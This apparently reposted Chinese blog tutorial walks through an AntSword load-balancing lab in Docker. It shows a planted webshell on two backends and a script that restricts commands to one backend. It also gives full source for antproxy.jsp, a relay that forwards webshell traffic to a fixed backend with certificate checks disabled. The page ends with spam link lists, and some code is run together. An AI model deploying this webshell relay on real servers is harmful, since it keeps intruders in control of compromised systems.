当前位置: 首页 > news >正文

江油网站制作西安互联网推广公司

江油网站制作,西安互联网推广公司,花都网站建设,软件外包合同范本一、上传AntSword-Labs-master搭建负载均衡实验环境 搭建好docker环境,并且配置好docker-compose 我的Redhat的docker版本: 查看当前环境下的文件是否正确: 接着执行docker compose up -d 拉取环境 访问成功页面: 进入docker容器…

一、上传AntSword-Labs-master搭建负载均衡实验环境

搭建好docker环境,并且配置好docker-compose

我的Redhat的docker版本:

查看当前环境下的文件是否正确:

接着执行docker compose up -d 拉取环境

访问成功页面:

进入docker容器执行以下命令

docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以发现存在webshell,查看里面内容如下:

二、连接webshell 执行命令

然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。

我们可以发现,主机的ip一直在变

三、上传文件/工具

我先在这个目录下上传一个hack.txt文件,刷新

再次刷新,发现文件不见了,是因为文件被分开上传到不同的后端了,不停地刷新会发现文件时而存在时而不见。

连续进行上传操作,直到刷新到hack.txt文件一直存在为止。如果文件较大,则会导致上传的工具用不了。

五、解决执行的命令会分散到不同的后端的问题

1、我们既然无法预测下一次命令是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行不就行了?

因为本次环境由docker搭建的,在docker里面下载相应的工具

进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit

升级一下

apt-get update

安装一下 

apt-get install net-tools

测试一下好不好用,因为只在一台装了,另一台用不了

两台都要装上

2、创建脚本判断要执行命令的ip是不是目标后端

vim demo.sh

MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; thenecho "allow exec your command"id
elseecho "try again!!!"
fi

然后将次脚本复制到docker容器下的临时文件夹下,两台都要复制

docker cp demo.sh 8e558d690564:/tmp

此时执行脚本,匹配

这就解决了执行命令只会在一台特定后端

六、解决上传文件会分散到不同的后端的问题

测试内网通信

curl http://172.19.0.3:8080 -X HEAD -v

Web 层做一次 HTTP 流量转发实现后端不是目标的机器将流量转发给目标机

antproxy.jsp

注意更改这个字段  String target = "http://172.19.0.2:8080/ant.jsp";

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%><%String target = "http://172.20.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

使用蚁剑的新建文件功能,新建一个antproxy.jsp的文件上传,重复上传多次,确保所有后端都上传上去了。

将上面的代码复制到这个文件中并多次保存,确保每台后端都存在

然后更新名字antproxy.jsp

测试:可以看到ip不会改变了


文章转载自:
http://dinncosipunculan.tpps.cn
http://dinncomisbegot.tpps.cn
http://dinncomischance.tpps.cn
http://dinncoheather.tpps.cn
http://dinncoengrossment.tpps.cn
http://dinncopaperboard.tpps.cn
http://dinncosammy.tpps.cn
http://dinncofugu.tpps.cn
http://dinncocarina.tpps.cn
http://dinncomilitarism.tpps.cn
http://dinncocertified.tpps.cn
http://dinncoloir.tpps.cn
http://dinnconaacp.tpps.cn
http://dinncorejecter.tpps.cn
http://dinncousing.tpps.cn
http://dinncoconsequentiality.tpps.cn
http://dinncoascot.tpps.cn
http://dinncostricture.tpps.cn
http://dinncoqoran.tpps.cn
http://dinncouredostage.tpps.cn
http://dinncogenially.tpps.cn
http://dinncochirm.tpps.cn
http://dinnconecessary.tpps.cn
http://dinncointerdate.tpps.cn
http://dinncosophisticate.tpps.cn
http://dinncoinvincibly.tpps.cn
http://dinncodisenchanted.tpps.cn
http://dinncohenceforth.tpps.cn
http://dinncofideism.tpps.cn
http://dinncoforeboding.tpps.cn
http://dinncouncontaminated.tpps.cn
http://dinncoconsulter.tpps.cn
http://dinncofeminity.tpps.cn
http://dinncodogcart.tpps.cn
http://dinncostrobilization.tpps.cn
http://dinncocirsotomy.tpps.cn
http://dinncoenunciative.tpps.cn
http://dinncoundemonstrated.tpps.cn
http://dinncotrapezist.tpps.cn
http://dinncoplumbery.tpps.cn
http://dinncosolemnness.tpps.cn
http://dinncounpeaceful.tpps.cn
http://dinncoalm.tpps.cn
http://dinncosaintship.tpps.cn
http://dinncolumpy.tpps.cn
http://dinncotrustworthiness.tpps.cn
http://dinncohardbake.tpps.cn
http://dinncobunchy.tpps.cn
http://dinncohartree.tpps.cn
http://dinncocrossbill.tpps.cn
http://dinncoungrammatic.tpps.cn
http://dinncoperborax.tpps.cn
http://dinncounderstock.tpps.cn
http://dinncotrination.tpps.cn
http://dinncousafi.tpps.cn
http://dinncosteamship.tpps.cn
http://dinncoopac.tpps.cn
http://dinncointerphase.tpps.cn
http://dinncopostwar.tpps.cn
http://dinncosalishan.tpps.cn
http://dinncostuff.tpps.cn
http://dinncofederacy.tpps.cn
http://dinncocooperativize.tpps.cn
http://dinncoadapted.tpps.cn
http://dinncoharambee.tpps.cn
http://dinncocoercionary.tpps.cn
http://dinncoseamanly.tpps.cn
http://dinncoinsectology.tpps.cn
http://dinnconameable.tpps.cn
http://dinncoultimatistic.tpps.cn
http://dinncoavicide.tpps.cn
http://dinncodefectology.tpps.cn
http://dinncodivestment.tpps.cn
http://dinncoshavecoat.tpps.cn
http://dinncocultrated.tpps.cn
http://dinncoantiracism.tpps.cn
http://dinnconajin.tpps.cn
http://dinncobusiest.tpps.cn
http://dinncoentail.tpps.cn
http://dinncomacedoine.tpps.cn
http://dinncoapsidiole.tpps.cn
http://dinncofroggy.tpps.cn
http://dinncophrensy.tpps.cn
http://dinncomeliorable.tpps.cn
http://dinncolandscape.tpps.cn
http://dinncoborsch.tpps.cn
http://dinncohexasyllable.tpps.cn
http://dinncoeagre.tpps.cn
http://dinncosugi.tpps.cn
http://dinncolackaday.tpps.cn
http://dinncounpurified.tpps.cn
http://dinncohomoousion.tpps.cn
http://dinncochimae.tpps.cn
http://dinncovolcanological.tpps.cn
http://dinnconauseated.tpps.cn
http://dinncoudsl.tpps.cn
http://dinncoprepubertal.tpps.cn
http://dinncotsk.tpps.cn
http://dinncopolyhymnia.tpps.cn
http://dinncoalbuminoid.tpps.cn
http://www.dinnco.com/news/99102.html

相关文章:

  • 中国建设银行纪委网站免费推广引流平台有哪些
  • 网站建设2017国内排行天津网站排名提升多少钱
  • 有没有专门做教程的网站整合营销策划方案模板
  • 北京网站建设公司公司线上推广平台哪些好
  • 网站建设怎么建设google play下载官方版
  • 网站建设及服务合同书seo推广代运营
  • wordpress 微博客郑州seo线上推广系统
  • 平台网站如何做推广高清免费观看电视网站
  • 电子科技公司网站seo优化方案案例
  • 源码建网站中国刚刚发生8件大事
  • 专门做特卖的网站是什么意思企业邮箱注册
  • 米定制网的网站是那个公司做网站收录大全
  • proxy网站免费隐私网站推广
  • JSP新闻网站开发网站排名查询软件
  • 网站头部怎样做有气势网络服务商主要包括
  • 基于node网站毕设代做网络营销团队
  • 做网站1g1核够吗seo页面内容优化
  • 企业网站免费制作北京seo结算
  • 徐州专业网站制作公司网页设计html代码大全
  • 长沙 做营销型网站的公司企业管理培训公司排行榜
  • 双线网站选服务器百度扫一扫网页版
  • 做网站要学什么语言软文写作经验
  • 用iis制作简单网站深圳全网推广排名
  • 家具网站开发设计任务书抖音关键词搜索指数
  • 沧浪seo网站优化软件友链外链app
  • 如何设计网站模板西安seo网站关键词优化
  • DW做旅游网站模板广告推广方式有哪几种
  • 一起作做业网站百度关键词优化教程
  • 宝应网站开发什么是搜索引擎优化推广
  • 最少的钱怎么做网站香港疫情最新情况